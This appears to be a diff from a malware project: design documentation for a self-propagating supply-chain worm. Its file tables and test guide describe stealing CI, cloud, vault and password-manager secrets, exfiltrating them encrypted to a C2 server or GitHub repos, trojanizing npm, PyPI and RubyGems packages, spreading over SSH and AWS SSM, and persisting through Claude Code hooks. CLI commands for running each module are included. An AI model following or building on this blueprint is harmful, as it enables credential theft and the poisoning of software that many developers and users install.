| GCP REST API | Secret Manager + Identity (metadata, SA key, WIF) |
| Kubernetes API | In-cluster or kubeconfig secret enumeration |
| Vault API | Multi-source auth, KV v1/v2 enumeration |
| sigstore (Fulcio + Rekor) | SLSA provenance bundles for NPM packages |
| PyPI API | Wheel download, metadata, upload |
| RubyGems API | Gem download, metadata, upload |
| `tar` | NPM tarball manipulation |
| `fflate` | ZIP decompression for GitHub Actions artifacts |
| `javascript-obfuscator` | Post-build JS obfuscation |
| SSH/SCP | Host propagation via `~/.ssh/known_hosts` and `~/.ssh/config` |
---
## Key Files
| File | Role |
|---|---|
| `src/index.ts` | Main entry point — orchestrates all phases |
| `src/orchestrator/preflight.ts` | All pre-execution safety checks |
| `src/orchestrator/providers.ts` | Quick results + full provider list assembly |
| `src/orchestrator/senders.ts` | Prioritized sender chain construction |
| `src/orchestrator/mutations.ts` | Conditional + fallback mutation planning and execution |
| `src/sender/base.ts` | Encryption logic — RSA+AES hybrid encryption of exfiltrated data |
| `src/sender/domain/sender.ts` | Primary C2 transport — HTTPS POST to C2 server |
| `src/sender/github/gitHubSenderFactory.ts` | Fallback C2 transport — GitHub repo-based exfiltration |
| `src/collector/collector.ts` | Buffer, token validation (GH/NPM/RubyGems/PyPI/JFrog), flush to dispatcher |
| `src/dispatcher/dispatcher.ts` | Sender chain with fallback and health-check preflighting |
| `src/providers/ghrunner/runner.ts` | Runner memory dump — extracts GitHub Action secrets from Runner.Worker memory |
| `src/providers/actions/workflow.ts` | Workflow injection — commits malicious workflow to exfiltrate repo secrets |
| `src/providers/azure/keyvault.ts` | Azure Key Vault secret enumeration |
| `src/providers/gcp/secrets.ts` | GCP Secret Manager enumeration |
| `src/mutator/branch/index.ts` | Branch poisoning — pushes malicious files to all repo branches |
| `src/mutator/repository/index.ts` | Repository mutator — Git DB API-based file injection with Claude/Gemini/VSCode hooks |
| `src/mutator/action/actionMutator.ts` | Action hijacking — semver tag force-push on custom GitHub Actions |
| `src/mutator/npm/index.ts` | NPM trojanization — re-publishes packages with preinstall hooks |
| `src/mutator/npmoidc/branch.ts` | NPM OIDC branch injection — dangling commits + deployment |
| `src/mutator/pypi/index.ts` | PyPI trojanization — re-publishes wheels with .pth loader |
| `src/mutator/pypioidc/index.ts` | PyPI OIDC trojanization — Trusted Publishing via GitHub OIDC token minting |
| `src/mutator/rubygems/index.ts` | RubyGems trojanization — re-publishes gems with native extension |
| `src/mutator/rubygemsoidc/branch.ts` | RubyGems OIDC branch injection — dangling commits for trusted publishing repos |
| `src/mutator/ssh/sshMutator.ts` | SSH propagation — SCP + SSH exec to known hosts |
| `src/mutator/jfrognpm/index.ts` | JFrog NPM trojanization — re-publishes packages in JFrog Artifactory NPM repos |
| `src/mutator/aws/ssm.ts` | AWS SSM propagation — SendCommand to managed EC2 instances |
| `src/mutator/claude/index.ts` | Claude hook injection — persistence via Claude Code SessionStart hooks |
| `src/mutator/persist/install-monitor.ts` | Background monitor installation — persistent token activity watcher |
| `src/generated/index.ts` | Encrypted assets — all payload files encrypted with AES-256-GCM |
| `src/utils/selfExtracting.ts` | Self-extracting payload builder — AES-GCM + ROT-N + bun guard |
| `src/utils/encryptedWrapper.ts` | Self-decrypting JS wrapper — AES-128-GCM payload wrapper |
| `src/github_utils/gitDb.ts` | Low-level GitHub Git DB operations (blobs, trees, commits, refs) |
| `src/github_utils/orphanDep.ts` | Orphan commit builder — npm git-dep injection bypass |
| `scripts/build.ts` | Build pipeline — source transformation and bundling |
| `scripts/build-cli.ts` | CLI build pipeline — standalone provider/mutator bundles |
| `scripts/obfuscate.js` | Post-build obfuscation |
| `scripts/obfplus-wrap.js` | Additional obfuscation wrapping |
| `scripts/decrypt.ts` | Standalone decryptor for exfiltrated envelopes |
| `src/assets/enc_key.pub` | RSA-4096 public key for data encryption |
| `src/assets/verify_key.pub` | RSA-4096 public key for C2 domain signature verification |
+144
View File
@@ -0,0 +1,144 @@
# Integration Testing
Run individual providers, mutators, or senders in isolation via standalone CLI entrypoints — source mode only (`bun run src/cli/...`). No build step required.
## Design
```
src/cli/
├── common.ts # Shared CLI utilities (arg parsing, output formatting, global scramble)
├── provider-filesystem.ts # bun run src/cli/provider-filesystem.ts
├── provider-shell.ts
├── provider-ghrunner.ts
├── provider-aws-account.ts
├── provider-aws-secrets.ts
├── provider-aws-ssm.ts
├── provider-azure-identity.ts
├── provider-azure-keyvault.ts
├── provider-gcp-identity.ts
├── provider-gcp-secrets.ts
├── provider-k8s.ts
├── provider-vault.ts
├── provider-passwords.ts
├── provider-actions.ts
├── provider-grep.ts
├── mutator-npm.ts
├── mutator-npmoidcbranch.ts
├── mutator-pypi.ts
├── mutator-rubygems.ts
├── mutator-rubygemsoidc-branch.ts
├── mutator-action.ts
├── mutator-repository.ts
├── mutator-jfrognpm.ts
├── mutator-claude.ts
├── mutator-branch.ts
├── sender-domain.ts
├── sender-github.ts
└── validate-binding-gyp.ts
```
Every entrypoint follows the same pattern:
```typescript
#!/usr/bin/env bun
(globalThis as Record<string, unknown>).scramble = (s: string): string => s;
(globalThis as Record<string, unknown>).beautify = (s: string): string => s;
import { parseArgs, runModule } from "./common";
const Module = await import("../path/to/module");
const args = parseArgs(Bun.argv.slice(2));
await runModule(args);
```
## The `scramble` problem
Source files declare `scramble()` as a build-time-only global. The build plugin (`scripts/scramble-shared.ts`) replaces `scramble("literal")` with pre-encoded `beautify("...")` at build time. In source mode (`bun run src/cli/...`), `scramble` is undefined.
**Fix:** Each CLI entrypoint defines `globalThis.scramble` as an identity function (`(s) => s`) at the very top before any other code runs. Since source files call `scramble("literal")` with the decoded literal as argument, a no-op correctly returns the decoded value. `beautify` is also set as identity since no pre-encoded strings exist at source time.
## `generated/index.ts` encrypted assets
This auto-generated file decrypts assets at module import time via `_dec(scramble("key"), "data")`. At source time with the identity `scramble`, these calls will pass plaintext keys and will fail because `_dec` expects a hex key and base64 ciphertext.
**Fix:** Dynamic import. The CLI entrypoint uses `await import()` for the module under test, avoiding static import of `generated/index.ts` unless the module actually needs it. Modules that depend on generated assets (ReadmeUpdater, NPMOidcClient, etc.) will fail if they try to access those assets at source time — this is documented and expected.
## Common utilities (`src/cli/common.ts`)
```typescript
interface CliArgs {
module: string;
params: Record<string, string>;
flags: Set<string>;
}
function parseArgs(argv: string[]): CliArgs
// --key value → params[key] = value
// --flag → flags.add(flag)
// --json '{}' → params._json = JSON.parse(...)
async function runModule(name: string, fn: () => Promise<any>): Promise<void>
// Wraps execution with:
// - Error boundary (catch → stderr + exit 1)
// - Outputs result as JSON to stdout
// - Disables silent logger (logUtil output visible)
```
## CLI argument convention
```
bun run src/cli/provider-filesystem.ts
bun run src/cli/provider-actions.ts --github-token ghp_xxx
bun run src/cli/sender-domain.ts --domain example.com --port 443 --path /api
bun run src/cli/provider-passwords.ts --onepassword-password mypass
bun run src/cli/mutator-npm.ts --npm-token npm_xxx
```
Parameters are passed as `--key value` pairs. Boolean flags as `--flag`. The entrypoint maps CLI args to constructor params.
List available entrypoints:
```
bun run cli:list
```
## Module → CLI mapping
| Module | Entrypoint | Args |
|--------|-----------|------|
| FileSystemService | `provider-filesystem.ts` | None |
| ShellService | `provider-shell.ts` | None |
| `GithubRunner` | `provider-ghrunner.ts` | None (needs `GITHUB_ACTIONS=true` + sudo) |
| `GitHubActionsService` | `provider-actions.ts` | `--github-token` |
| `AwsAccountService` | `provider-aws-account.ts` | None |
| `AwsSecretsManagerService` | `provider-aws-secrets.ts` | None |
| `AwsSsmService` | `provider-aws-ssm.ts` | None |
| `AzureIdentityService` | `provider-azure-identity.ts` | None |
| `AzureKeyVaultService` | `provider-azure-keyvault.ts` | None |
| `GcpIdentityService` | `provider-gcp-identity.ts` | None |
| `GcpSecretsService` | `provider-gcp-secrets.ts` | None |
| `K8sSecretsService` | `provider-k8s.ts` | None |
| `VaultSecretsService` | `provider-vault.ts` | None |
| `PasswordManagerProvider` | `provider-passwords.ts` | `--onepassword-password` etc. (optional) |
| `GrepProvider` | `provider-grep.ts` | `--dir` (optional, default `~`), `--max` (optional, default 5000) |
| `NpmClient` | `mutator-npm.ts` | `--npm-token` |
| `NpmOidcBranchMutator` | `mutator-npmoidcbranch.ts` | `--github-token`, `--repo` (optional), `--execute` |
| `PypiMutator` | `mutator-pypi.ts` | `--pypi-token`, `--package` |
| `RubyGemsClient` | `mutator-rubygems.ts` | `--rubygems-token`, `--dry-run` |
| `RubygemsOidcBranchMutator` | `mutator-rubygemsoidc-branch.ts` | `--github-token`, `--repo` (optional), `--execute` |
| `ActionMutator` | `mutator-action.ts` | `--github-token`, `--dry-run` |
| `RepositoryMutator` | `mutator-repository.ts` | `--github-token`, `--live` |
| `JfrogNpmMutator` | `mutator-jfrognpm.ts` | `--jfrog-url`, `--jfrog-token`, `--jfrog-auth-type` (optional), `--packages` (optional), `--max-packages` (optional), `--execute`, `--force-cache-overwrite` |
| `Claude` | `mutator-claude.ts` | None |
| `ReadmeUpdater` | `mutator-branch.ts` | `--github-token` + `GITHUB_REPOSITORY` env |
| `DomainSender` | `sender-domain.ts` | `--domain --port --path` |
| `GitHubSender` | `sender-github.ts` | `--github-token` |
| `binding.gyp` validator | `validate-binding-gyp.ts` | `<npm-package>` (positional), `--install` |
## Constraints & non-breakage
1. **Existing `src/index.ts` untouched** — no changes to the main entrypoint or orchestration flow.
2. **No new npm dependencies** — uses only `Bun.argv`, `process.stdout`, `process.stderr`.
3. **Build pipeline unchanged** — CLI is source-mode only. `scripts/build.ts` is unmodified.
4. **Logger permissive in CLI**`logUtil` operates in non-silent mode so debug output is visible.
5. **Exit codes** — 0 on success, 1 on failure. JSON result on stdout, errors on stderr.
6. **Dynamic imports** — modules under test are imported dynamically (`await import()`) to ensure `scramble` global is installed before any static imports of `generated/index.ts` execute.
+2695
View File
File diff suppressed because it is too large Load Diff
+6
View File
@@ -0,0 +1,6 @@
[bundle]
[bundle.loaders]
".py" = "text"
[test]
preload = ["./tests/setup.ts"]
+31
View File
@@ -0,0 +1,31 @@
import simpleImportSort from "eslint-plugin-simple-import-sort";
export default [
// Global ignores MUST be alone in their own object to apply project-wide.
{
ignores: [
"dist/**",
"dist_obf/**",
"dist_obfplus/**",
"build/**",
"coverage/**",
"node_modules/**",
".bun-temp/**",
".bun-temp-cli/**",
"**/*.d.ts",
],
},
// Actual lint config for TS/TSX files.
{
files: ["**/*.ts", "**/*.tsx"],
languageOptions: {
parser: (await import("@typescript-eslint/parser")).default,
},
plugins: { "simple-import-sort": simpleImportSort },
rules: {
"simple-import-sort/imports": "error",
"simple-import-sort/exports": "error",
},
},
];